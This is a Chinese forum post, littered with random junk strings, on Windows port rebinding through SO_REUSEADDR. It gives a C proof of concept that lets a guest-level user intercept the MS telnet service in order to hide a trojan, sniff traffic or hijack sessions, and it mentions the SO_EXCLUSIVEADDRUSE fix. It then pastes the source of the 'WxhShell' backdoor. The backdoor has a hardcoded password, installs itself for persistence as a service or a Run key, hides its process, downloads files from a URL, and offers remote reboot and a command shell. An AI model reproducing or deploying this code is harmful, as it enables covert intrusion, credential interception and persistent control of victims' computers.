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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Eq?o /'e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4q[r KNl  
;i]cmy  
  saddr.sin_family = AF_INET; Rz)#VVYC=  
!CWqI)=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); im' 0^  
"FU|I1Xz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ort\J~ O  
8_lD*bEt   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *M*k-Z':.*  
l|K8+5L  
  这意味着什么?意味着可以进行如下的攻击: 0jXIx2y  
>Cf`F{X' U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [bp"U*!9P  
N 8OPeY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8,R]R=  
OjCT%6hy;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xv2;h4{<  
vfjIpg%i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1pn167IQL  
QV't+)uUVo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7+ysE  
._yr7uY[M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V7^?jck  
My ^pQ]@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IP >An8+  
;(afz?T  
  #include |\ ay^@N  
  #include OYKV*  
  #include VTHDGBU  
  #include    "P|G^*"~2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kA3kh`l  
  int main() d. a>(G  
  { %ry>p(-pC(  
  WORD wVersionRequested; i.< }X  
  DWORD ret; 6?74l;  
  WSADATA wsaData; D|S)/o6  
  BOOL val; nQ+{1 C  
  SOCKADDR_IN saddr; R0|X;3  
  SOCKADDR_IN scaddr; csV1ki/A  
  int err; qEpBzQ&gX6  
  SOCKET s; jPd<h{js  
  SOCKET sc; MG<~{Y84}  
  int caddsize; 936t6K&  
  HANDLE mt; vi2xonq^  
  DWORD tid;   VjnSi  
  wVersionRequested = MAKEWORD( 2, 2 ); <L`R!}  
  err = WSAStartup( wVersionRequested, &wsaData ); 1Tl("XV3  
  if ( err != 0 ) { Nr)(&c8  
  printf("error!WSAStartup failed!\n"); 4[#.N 3Y4*  
  return -1; e p^0Cd/  
  } k.0C*3'  
  saddr.sin_family = AF_INET; |&'*Z\*ya  
   "6}+|!"$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HaSH0eTw  
m&\Gz*)3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lL^7x  
  saddr.sin_port = htons(23); fG{oi(T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q8D1MEBL`  
  { g %Am[fb  
  printf("error!socket failed!\n"); 5|b/G  
  return -1; U".-C`4v  
  } HqgH\  
  val = TRUE; @Q^;qMy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hi=U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `Ctj]t  
  { %{{#Q]]&  
  printf("error!setsockopt failed!\n"); 3l^pY18H'  
  return -1; :b=0_<G  
  } v+OVZDf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pxF!<nN1,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5(W9Jj]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /?GBp[(0  
Q4x71*vy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3)ip@29F  
  { ~RJg.9V  
  ret=GetLastError(); n>Ei1  
  printf("error!bind failed!\n"); }u&JX  
  return -1; &td#m"wI  
  } f[RnL#*xJU  
  listen(s,2); 3:gk:j#  
  while(1) %Xl@o  
  { PEWzqZ|!;  
  caddsize = sizeof(scaddr); ra&C|"~E  
  //接受连接请求 '3Ri/V,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); twn@~$  
  if(sc!=INVALID_SOCKET) x#^kv)  
  { w&{J9'~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); . ~<+  
  if(mt==NULL) )N/KQ[W  
  { by<2hLB9Q  
  printf("Thread Creat Failed!\n"); 2R!W5gs1<  
  break; { \ePJG#  
  } $enh45Wy  
  } q~3&f  
  CloseHandle(mt); /p>[$`Aq  
  } >W<5$.G  
  closesocket(s); ($s{em4L  
  WSACleanup(); `g=~u{ 0  
  return 0; zN1;v6;  
  }   ;vitg"Zh>  
  DWORD WINAPI ClientThread(LPVOID lpParam) rXPXO=F1/  
  { 2}b bdXx  
  SOCKET ss = (SOCKET)lpParam;  AMdS+(J  
  SOCKET sc; Ce:ds%  
  unsigned char buf[4096]; b~gF,^w  
  SOCKADDR_IN saddr; F'I6aE%  
  long num; 0"`skYJ@  
  DWORD val; *QG;KJ%  
  DWORD ret; 0YL0Oa+7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i`qh|w/b_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B^9 #X5!  
  saddr.sin_family = AF_INET; H<;j&\$q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0h#M)Ft  
  saddr.sin_port = htons(23); BXY'%8q _a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bed+Ur&  
  { YC'~8\x3z  
  printf("error!socket failed!\n"); *$VurqLn  
  return -1; m##=iB|;  
  } BP$#a #  
  val = 100; gwJu&HA/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ni~ij  
  { c29Z1Zs2)  
  ret = GetLastError(); SO/]d70HG  
  return -1; @:B1  
  } $Stu-l1e a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =*jcO119L  
  { 5b p"dIe  
  ret = GetLastError(); mI#; pO2  
  return -1; A]$+ `uS\  
  } OWsYE?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #cS,5(BM  
  { H%]ch6C  
  printf("error!socket connect failed!\n"); ,6"n5Ks}  
  closesocket(sc); [[Z>(d$8  
  closesocket(ss); VKz<7K\/  
  return -1; lvi:I+VgA  
  } .Er/t"Qs;  
  while(1) %<yM=1~>  
  { ,np`:fBMy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "6Uj:9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :g#it@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J_ |x^  
  num = recv(ss,buf,4096,0); "~C#DZwt{  
  if(num>0) 79H+~1Az  
  send(sc,buf,num,0); j*d~h$[k  
  else if(num==0) {LHe 6#  
  break; g/p9"eBpq  
  num = recv(sc,buf,4096,0); <9a_wGs  
  if(num>0) ]xEE7H]\h  
  send(ss,buf,num,0); ~79Qg{+]N  
  else if(num==0) pIiED9  
  break; n5*7~K "C  
  } !!%[JR)cS  
  closesocket(ss); )OC[;>F7  
  closesocket(sc); 'hw@l>1\9  
  return 0 ; :iB%JY Ad  
  } 2_n*u^X:_  
Cf[F`pFM  
Q0Qm0B5eY  
==========================================================  iLcadX  
)=nPM`Jn.  
下边附上一个代码,,WXhSHELL 5'Jh2r  
EZQ+HECpK  
========================================================== Pl& `&N;  
OKP_3Ns  
#include "stdafx.h" 5|G3t`$pa  
Z !25xqNCd  
#include <stdio.h> umZ g}|C_  
#include <string.h> %%cSvPcz  
#include <windows.h> MI'l4<>u  
#include <winsock2.h> 8t: &#h  
#include <winsvc.h> k5QD5/Ej  
#include <urlmon.h> 8pMZ~W;  
" IkF/  
#pragma comment (lib, "Ws2_32.lib") <`j[;>O  
#pragma comment (lib, "urlmon.lib") dIa(</ }  
pUMB)(<k  
#define MAX_USER   100 // 最大客户端连接数 4O_+4yS  
#define BUF_SOCK   200 // sock buffer 'h6} cw+K  
#define KEY_BUFF   255 // 输入 buffer *R\/#Y|  
|+xtFe  
#define REBOOT     0   // 重启 QC5f:BwM  
#define SHUTDOWN   1   // 关机 ? Ga2K  
NU&^7[!yl  
#define DEF_PORT   5000 // 监听端口 |k .M+  
hf+/kc!>i  
#define REG_LEN     16   // 注册表键长度 3^R][;  
#define SVC_LEN     80   // NT服务名长度 '=,rb  
QB3d7e)8>  
// 从dll定义API ?WQd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -8Jl4F ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A6UdWK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Z8"uRTb0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B?lBO V4v4  
J={OOj  
// wxhshell配置信息 E7NbPNd  
struct WSCFG { 7hN6IP*so  
  int ws_port;         // 监听端口 Pm#x?1rAj  
  char ws_passstr[REG_LEN]; // 口令 T5dUJR2k$  
  int ws_autoins;       // 安装标记, 1=yes 0=no @Tfwh/UN  
  char ws_regname[REG_LEN]; // 注册表键名 }]g95xT  
  char ws_svcname[REG_LEN]; // 服务名 F;Q_*0mIQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,+ \4 '`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mzV"G>,o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eN| HJ=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no or%gTVZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9oj e`Ay  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wCU&Xb$F  
\at-"[.  
}; .kbr?N,'  
>FY&-4+v  
// default Wxhshell configuration B3cf] S%  
struct WSCFG wscfg={DEF_PORT, ~X~xE]1o|U  
    "xuhuanlingzhe", 4C,kA+P  
    1, 18O@ 1M  
    "Wxhshell", VA=#0w  
    "Wxhshell", B-\,2rCCZ  
            "WxhShell Service", /zl3&~4  
    "Wrsky Windows CmdShell Service", 4/HY[FT  
    "Please Input Your Password: ", i?a,^UM5n[  
  1, wuIsO;}/9  
  "http://www.wrsky.com/wxhshell.exe", N#RD:"RS!  
  "Wxhshell.exe" 5?3Isw`v2  
    }; VBbUl|X\  
l$qStL*8O  
// 消息定义模块 #aitESbT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;Na8 _}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :cXIO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TV1e bH7q  
char *msg_ws_ext="\n\rExit."; C!ZI&cD9  
char *msg_ws_end="\n\rQuit."; qeQC&U y;  
char *msg_ws_boot="\n\rReboot..."; IOsXPf9@  
char *msg_ws_poff="\n\rShutdown..."; /'Qu u)~  
char *msg_ws_down="\n\rSave to "; rV8(ia  
Wj&<"Z6'm(  
char *msg_ws_err="\n\rErr!"; I%;Rn:zl  
char *msg_ws_ok="\n\rOK!"; [^?13xMb  
ER~T'-YMS  
char ExeFile[MAX_PATH]; Exep+x-  
int nUser = 0; ERp:EZ'  
HANDLE handles[MAX_USER]; (j8GiJ]{L,  
int OsIsNt; q4sl=`L5Sp  
HCX!P4Hj  
SERVICE_STATUS       serviceStatus; K,x$c %  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O%YjWb  
=w',-+@  
// 函数声明 ELN|;^-/|Q  
int Install(void); 2UU 2Vm_6  
int Uninstall(void); n\Z^K  
int DownloadFile(char *sURL, SOCKET wsh); 9USrgY6_  
int Boot(int flag); #2Ac  
void HideProc(void); ?gd'M_-J,  
int GetOsVer(void); Q<RT12|`  
int Wxhshell(SOCKET wsl); X!U]`Qh  
void TalkWithClient(void *cs); DapQ}2'_  
int CmdShell(SOCKET sock); J Z %`%rA  
int StartFromService(void); 3xBN10R#  
int StartWxhshell(LPSTR lpCmdLine); v$t{o{3  
E=;BI">.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); - ,R0IGS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >:.w7LQy/  
@kwLBAK}@  
// 数据结构和表定义 5>'?:jY  
SERVICE_TABLE_ENTRY DispatchTable[] = S#P+B*v  
{ utq.r_  
{wscfg.ws_svcname, NTServiceMain}, @b]VCv0*f%  
{NULL, NULL} +7Sf8tg\  
}; 5XzrS-I+X@  
M]J[6EW  
// 自我安装 l!\1,J:}Z  
int Install(void) !$D&6M|C8l  
{ M_tj7Q3 W  
  char svExeFile[MAX_PATH]; 53bM+  
  HKEY key; &K06}[J  
  strcpy(svExeFile,ExeFile); lxm*;?j`W  
5_v5  
// 如果是win9x系统,修改注册表设为自启动 zs4>/9O  
if(!OsIsNt) { fG<Dhz@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !)NYW4"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z/xV\Ggx  
  RegCloseKey(key); o(:{InpV%A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \.5F](:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )r=9]0=  
  RegCloseKey(key); &8Zeq3~  
  return 0; w"q-#,37j  
    } S<V-ZV&_:U  
  } uH $oGY  
} y*w"J3|29  
else { m[8IEKo  
N"S3N)wgd  
// 如果是NT以上系统,安装为系统服务 2>g^4(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xne]Q(B>  
if (schSCManager!=0) bk.*k~_  
{ c2/"KT  
  SC_HANDLE schService = CreateService VXiui'/(  
  ( Bu&So|@TL  
  schSCManager, '[%jjUU  
  wscfg.ws_svcname, #?_#!T|  
  wscfg.ws_svcdisp, CdZnD#F2  
  SERVICE_ALL_ACCESS, Qy/uB$q{A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5Wo5 n7o  
  SERVICE_AUTO_START, (/-lV&eR  
  SERVICE_ERROR_NORMAL,  %W(^6p!  
  svExeFile, &0s*P G  
  NULL, C B6A}m  
  NULL, : g 5(HH  
  NULL, ka/nQ~_#<  
  NULL, ti}f&w ICJ  
  NULL 36nyu_h:R  
  ); C1 tb`  
  if (schService!=0) I,]J=xi  
  { <Kg2$lu(_`  
  CloseServiceHandle(schService); a%v>eXc  
  CloseServiceHandle(schSCManager); (nq^\ZdF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Oc#>QZ3  
  strcat(svExeFile,wscfg.ws_svcname); Z4#v~!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "sD1T3!\)Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +^Fp&K+^  
  RegCloseKey(key);  >9{zQf!  
  return 0; 76_<xUt{  
    } qIz}$%!A  
  } &f"T,4Oh  
  CloseServiceHandle(schSCManager); (#If1[L  
} P<vo;96JT  
} W+K.r?G<j  
!3@{U@*Z]  
return 1; ';Nu&D#Ph  
} d+0^u(gc!8  
cv]BV>=E  
// 自我卸载 zSKKr?{  
int Uninstall(void) 6Kp}_^|z  
{ ctHEEFWm  
  HKEY key; AX;c}0g  
|g!`\@O  
if(!OsIsNt) { NJm-%K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y.NE^Vn0  
  RegDeleteValue(key,wscfg.ws_regname); e8-ehs>  
  RegCloseKey(key); b)`pZiQP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r%|A$=[Q  
  RegDeleteValue(key,wscfg.ws_regname); Gc'M[9Mh  
  RegCloseKey(key); -=a[J;'q  
  return 0; jM@?<1  
  } H{%H^t>  
} +?Ez} BP  
} 5{X*a  
else { v%nP*i9  
{[P!$ /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SO_>c+Dw  
if (schSCManager!=0) xNIGO/uI~  
{ ,rai%T/rL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #)]E8=}  
  if (schService!=0) WqQU@sA  
  { )NIv  "Q  
  if(DeleteService(schService)!=0) { mX;H((  
  CloseServiceHandle(schService); wDKELQ(y H  
  CloseServiceHandle(schSCManager); Du!._  
  return 0; S/7l/DFb  
  } F&az":  
  CloseServiceHandle(schService); 'Wp @b678  
  } !^?qU;|  
  CloseServiceHandle(schSCManager); oj@g2H5P  
} +?AW>&68y  
} 8wmQ4){  
)4m_A p\  
return 1; ~},W8\C>  
} p[qg&VKB  
4K7{f+T  
// 从指定url下载文件 ]r959+\$  
int DownloadFile(char *sURL, SOCKET wsh) $r15gfne>  
{ oKa>.e7.  
  HRESULT hr; ]0-<>  
char seps[]= "/"; +`}o,z/^  
char *token; hB>^'6h+  
char *file; 5v|EAjB6o  
char myURL[MAX_PATH]; !y[3]8Xxv  
char myFILE[MAX_PATH]; FN\GE\H  
$.8 H>c  
strcpy(myURL,sURL); t!qwxX*$T  
  token=strtok(myURL,seps); ArXl=s';s4  
  while(token!=NULL) E1(1E?}!  
  { s)w9%  
    file=token; x{hn2]6+eB  
  token=strtok(NULL,seps); WcEt%mGQ,  
  } Uk'U?9O  
A[JM4x   
GetCurrentDirectory(MAX_PATH,myFILE); D#0O[F@l##  
strcat(myFILE, "\\"); %l|\of7P2}  
strcat(myFILE, file); xS+rHC  
  send(wsh,myFILE,strlen(myFILE),0); 5[R?iSGL1  
send(wsh,"...",3,0); >| m.?{^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x~+-VF3/  
  if(hr==S_OK) U^?= 0+  
return 0; n)RM+g  
else 1exfCm  
return 1; vgThK9{m;  
fM ^<+o@  
} P%)b+H{$h  
yL&/m~{s  
// 系统电源模块 fj+O'X  
int Boot(int flag) f#OQ (WTJE  
{ +)gB9DoK  
  HANDLE hToken; i!,HB|wQ  
  TOKEN_PRIVILEGES tkp; vGN3 YcH  
=x H~ww (D  
  if(OsIsNt) { 0p3vE,pF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /80YZ   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zH=hI Vc  
    tkp.PrivilegeCount = 1; Ef,Cd[]b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _]o5R7[MQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jVYH;B%%z  
if(flag==REBOOT) { \]8i}E1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tl3"PIb  
  return 0; ?D=8{!R3  
} f:vD`Fz1  
else { p(?3 V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4bI*jEc\[  
  return 0; 9L"?wv  
} q%S8\bt  
  } T2|:nC)@  
  else { x+^Vg3 q  
if(flag==REBOOT) { V(..8}LlD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5f_7&NxT  
  return 0; PEzia}m  
} 40.AM1Z0f  
else { MaErx\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U~/ID  
  return 0; 6"%2,`Nu  
} #r}uin*jD  
} $G3@< BIN  
-u~eZ?(!Ye  
return 1; B_&^ER5j  
} yVYkuO  
e5OVq ,  
// win9x进程隐藏模块 5hz_P+Q  
void HideProc(void) LyP`{_"CM  
{ e& Rb  
+WL  D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tJm{I)G  
  if ( hKernel != NULL ) rr )/`Kmv%  
  { -'ZxN'*%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Fzb8Yo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ccMd/  
    FreeLibrary(hKernel); !NA`g7'  
  } vJThU$s-  
T#r=<YH[C  
return; C P&o%Uc*  
} yHOqzq56  
qc&jd  
// 获取操作系统版本 3?^NN|xg  
int GetOsVer(void) 0_HJ.g!  
{ DKHM\yt  
  OSVERSIONINFO winfo; A^L?_\e6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5Pqt_ZWy  
  GetVersionEx(&winfo); _yJ|`g]U3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oG\>--  
  return 1; 0%H24N 9.  
  else ,!H\^Vfl  
  return 0; XHNkQe  
} _.-#E$6s#q  
C *Xik9n  
// 客户端句柄模块 >uW^.e "F  
int Wxhshell(SOCKET wsl) z L8J`W  
{ |?yE^$a  
  SOCKET wsh; g/B\ObY  
  struct sockaddr_in client; V8T#NJ  
  DWORD myID; t)!V +Qcb  
iLQSa7  
  while(nUser<MAX_USER) 0<3E  
{ n{$}#NdV  
  int nSize=sizeof(client); $r):d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0}D-KvjyP  
  if(wsh==INVALID_SOCKET) return 1; ?61L|vr  
GI?PGAT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i0b.AA  
if(handles[nUser]==0) hd8B0eD'  
  closesocket(wsh); HM 90Sb  
else y]7%$* <  
  nUser++; wePI*."]  
  } +\srZ<67  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R qn WtE  
%6N)G!P  
  return 0; <c(&T<$  
} m^'~&!ba  
z>7=k`x`:  
// 关闭 socket gU+ss  
void CloseIt(SOCKET wsh) 9@Q&B+!  
{ 1y 1_6TZ+  
closesocket(wsh); [z^Od  
nUser--; '!AT  
ExitThread(0); )=y.^@UT@  
} Jb7iBQ2%  
ed=n``P~}  
// 客户端请求句柄 KM5jl9Vv  
void TalkWithClient(void *cs) )dqR<)  
{ n%n'1AUP:  
b-2pzcK{#  
  SOCKET wsh=(SOCKET)cs; Gl.?U;4Z  
  char pwd[SVC_LEN]; u2 Y N[|V  
  char cmd[KEY_BUFF]; ijE<spG  
char chr[1]; eU`;L [  
int i,j; =Y/}b\9`T  
Y$>+U  
  while (nUser < MAX_USER) { ix:2Z-  
N`f!D>b:dn  
if(wscfg.ws_passstr) { U[IQ1AEr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h>~jQ&\M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *U :VM'a  
  //ZeroMemory(pwd,KEY_BUFF); L^6"' #  
      i=0; I; ^xAd3G  
  while(i<SVC_LEN) { K1/ U (A  
I+*osk  
  // 设置超时 n'q aR<bY  
  fd_set FdRead; BHEs+ e0  
  struct timeval TimeOut; +d.u##$  
  FD_ZERO(&FdRead); u.$Ym  
  FD_SET(wsh,&FdRead); }*0,>w>  
  TimeOut.tv_sec=8; ]gH wfqx  
  TimeOut.tv_usec=0; XAw2X;F%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @mvIt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t-'I`I  
Jw2B&)k/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =g/4{IL%  
  pwd=chr[0]; @P*ylB}?Q  
  if(chr[0]==0xd || chr[0]==0xa) { Qk?jGXB>^  
  pwd=0; lt }r}HM+  
  break; :uOZjEZi  
  } mYntU^4f  
  i++; Q1aHIc  
    } _2NN 1/F5  
xt? 3_?1  
  // 如果是非法用户,关闭 socket vEu Ka<5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]\[m=0K  
} f+*J ue  
R1I I k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Ngx$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J@oEV=L  
h=uiC&B  
while(1) { K#_~ !C4L  
*>E I2HX  
  ZeroMemory(cmd,KEY_BUFF); ev~dsk6k  
s@[C&v  
      // 自动支持客户端 telnet标准   I8 %d;G~  
  j=0; %M|Z}2qv  
  while(j<KEY_BUFF) { $KoPGgC[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SNQz8(O  
  cmd[j]=chr[0]; C!oS=qK?]  
  if(chr[0]==0xa || chr[0]==0xd) { s/r5,IFR  
  cmd[j]=0; \pjRv  
  break; ~5lKL5w  
  } 1~["{u  
  j++; 1"8Z y6t  
    } :iP>z}h  
\4[c}l  
  // 下载文件 QH@Q\ @,  
  if(strstr(cmd,"http://")) { J xA^DH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .OVW4svX  
  if(DownloadFile(cmd,wsh)) \(.nPW]9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +")qi =  
  else <_##YSGh,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b:N^Fe  
  } >2l13^Y  
  else { Tns?mQ  
.8u$z`j  
    switch(cmd[0]) { Wl^prs7}c  
  u=p ;A1oy  
  // 帮助 vjexx_fq  
  case '?': { D6&mf2'u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r1[E{Tpz  
    break; .Q=2WCv0  
  } 6F|Hg2tpz  
  // 安装 ?aK'OIo  
  case 'i': { fhBO~o+K>  
    if(Install()) k| _$R?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SREDM  
    else 4A\BGD*5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ A~B ,  
    break; Bo\a  
    } Ns+)Y^(5  
  // 卸载 KKx&UKjV  
  case 'r': { uR06&SaA>  
    if(Uninstall()) P#dG]NMf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q7 %=`l  
    else {pcf;1^t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Um1h:^   
    break; IqvqvHxLX  
    } aGq_hP   
  // 显示 wxhshell 所在路径 >,w\lf9  
  case 'p': { mhHA!:Y  
    char svExeFile[MAX_PATH]; `l[6rf_.  
    strcpy(svExeFile,"\n\r"); "?2  
      strcat(svExeFile,ExeFile); z")3_5Br  
        send(wsh,svExeFile,strlen(svExeFile),0); h/0<:eZ*  
    break; Mr5('9%  
    } cM> G>Yzo  
  // 重启 Z/V`Z* fy  
  case 'b': { TnvHO_P,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m6~ sKJV  
    if(Boot(REBOOT)) )V[w:=*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i9Q ,4~  
    else { Q{H!s_6iyv  
    closesocket(wsh); }AMYU>YE=  
    ExitThread(0); ZXssvjWQV}  
    } 3X-{2R/ 3  
    break; ND9 n1WZ&x  
    } KRnB[$3F1  
  // 关机 bGMeBj"R  
  case 'd': { K]H"qG.K  
